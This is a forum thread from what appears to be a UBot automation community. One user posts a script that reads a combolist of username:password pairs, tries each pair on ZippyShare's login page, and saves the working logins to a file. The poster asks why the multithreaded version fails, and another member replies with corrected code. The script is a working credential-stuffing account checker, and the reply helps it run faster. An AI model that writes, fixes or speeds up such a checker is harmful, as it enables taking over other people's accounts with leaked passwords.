Jump to content
UBot Underground

Need Some Help In Mutlithread


Recommended Posts

Hello everyone 

with help of ubot i finish my zippyshare bot , it takes data from a file in which data is present like this

 user1:pass

 user2:pass2

user3:pass3

and then simmply post that on zippyshare website and check for valid login and then save that login into a special folder 

but this was single thread and i wnated to make it faster with muti thread and i made this also but in this code no of used threads keeps on inc . even after login procedure i dec. no of used thread still it keeps on inc and code does not work 

 

 

 

ui open file("Combolist"#combo)
set(#usedthreads, 0, "Global")
ui drop down("Thread counter""2,3,4,5,6,7,8,9,10"#no of threads)
loop($table total rows(&Account details)) {
    loop while($comparison(#usedthreads">="#no of threads)) {
        wait(1)
    }
    Loop process()
}
define Loop process {
    increment(#no of threads)
    LoginProcedure()
}
define Startup {
    set(#row, 0, "Global")
}
define LoginProcedure {
    thread {
        in new browser {
            create table from file(#combo&Account details)
            clear cookies
            navigate("http://zippyshare.com""Wait")
            set(#Email$table cell(&Account details#row, 0), "Global")
            type text(<username field>#Email"Standard")
            set(#Password$table cell(&Account details#row, 1), "Global")
            type text(<password field>#Password"Standard")
            click(<login button>"Left Click""No")
            if($exists(<innertext="Logout">)) {
                then {
                    save to file("{$special folder("Desktop")}/mutitreadzippy.txt""{#Email}:{#Password}{$new line}")
                }
                else {
                }
            }
            increment(#row)
            decrement(#usedthreads)
        }
    }
}

 

 

 

i need to know why it is not workign properly what mistake i have done in here 

so i will remember then and will not do agian 

thank you 

love ubot

Edited by Xroot
Link to post
Share on other sites

Hi,

 

 

Im guessing "Startup()" is being run when you click your start button ?

If not then just move "set(#row, 0, "Global")" to before the "loop while" starts, and you would probably be safer to use a wait or a Wait for browser event after the login click, 

this is because you want your bot to wait for the page to load before it checks if "logout" exists.

 

 

 

Just from looking at it you needed to change the "increment(#no of threads)" to "increment(#usedthreads)

 

 

Try this mate :

 

ui open file("Combolist"#combo)
set(#usedthreads, 0, "Global")
ui drop down("Thread counter""2,3,4,5,6,7,8,9,10"#no of threads)
loop($table total rows(&Account details)) {
    loop while($comparison(#usedthreads">="#no of threads)) {
        wait(1)
    }
    Loop process()
}
define Loop process {
    increment(#usedthreads)
    LoginProcedure()
}
define Startup {
    set(#row, 0, "Global")
}
define LoginProcedure {
    thread {
        in new browser {
            create table from file(#combo&Account details)
            clear cookies
            navigate("http://zippyshare.com""Wait")
            set(#Email$table cell(&Account details#row, 0), "Global")
            type text(<username field>#Email"Standard")
            set(#Password$table cell(&Account details#row, 1), "Global")
            type text(<password field>#Password"Standard")
            click(<login button>"Left Click""No")
            if($exists(<innertext="Logout">)) {
                then {
                    save to file("{$special folder("Desktop")}/mutitreadzippy.txt""{#Email}:{#Password}{$new line}")
                }
                else {
                }
            }
            increment(#row)
            decrement(#usedthreads)
        }
    }
}

 

 

 

 

I didnt have time to test it but it looks good from where im standing now ;)

(just add a wait of some description after the login click)

 

 

 

 

Cheers

cүвεя_נυηкιε
Link to post
Share on other sites

thank you mate for help, let me try this now and i will let you know

and thank you bro about global and local variable this is i did not know

but i need more time to think about it weather i need to use global and local mate this is really confusing xd

love ubot

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...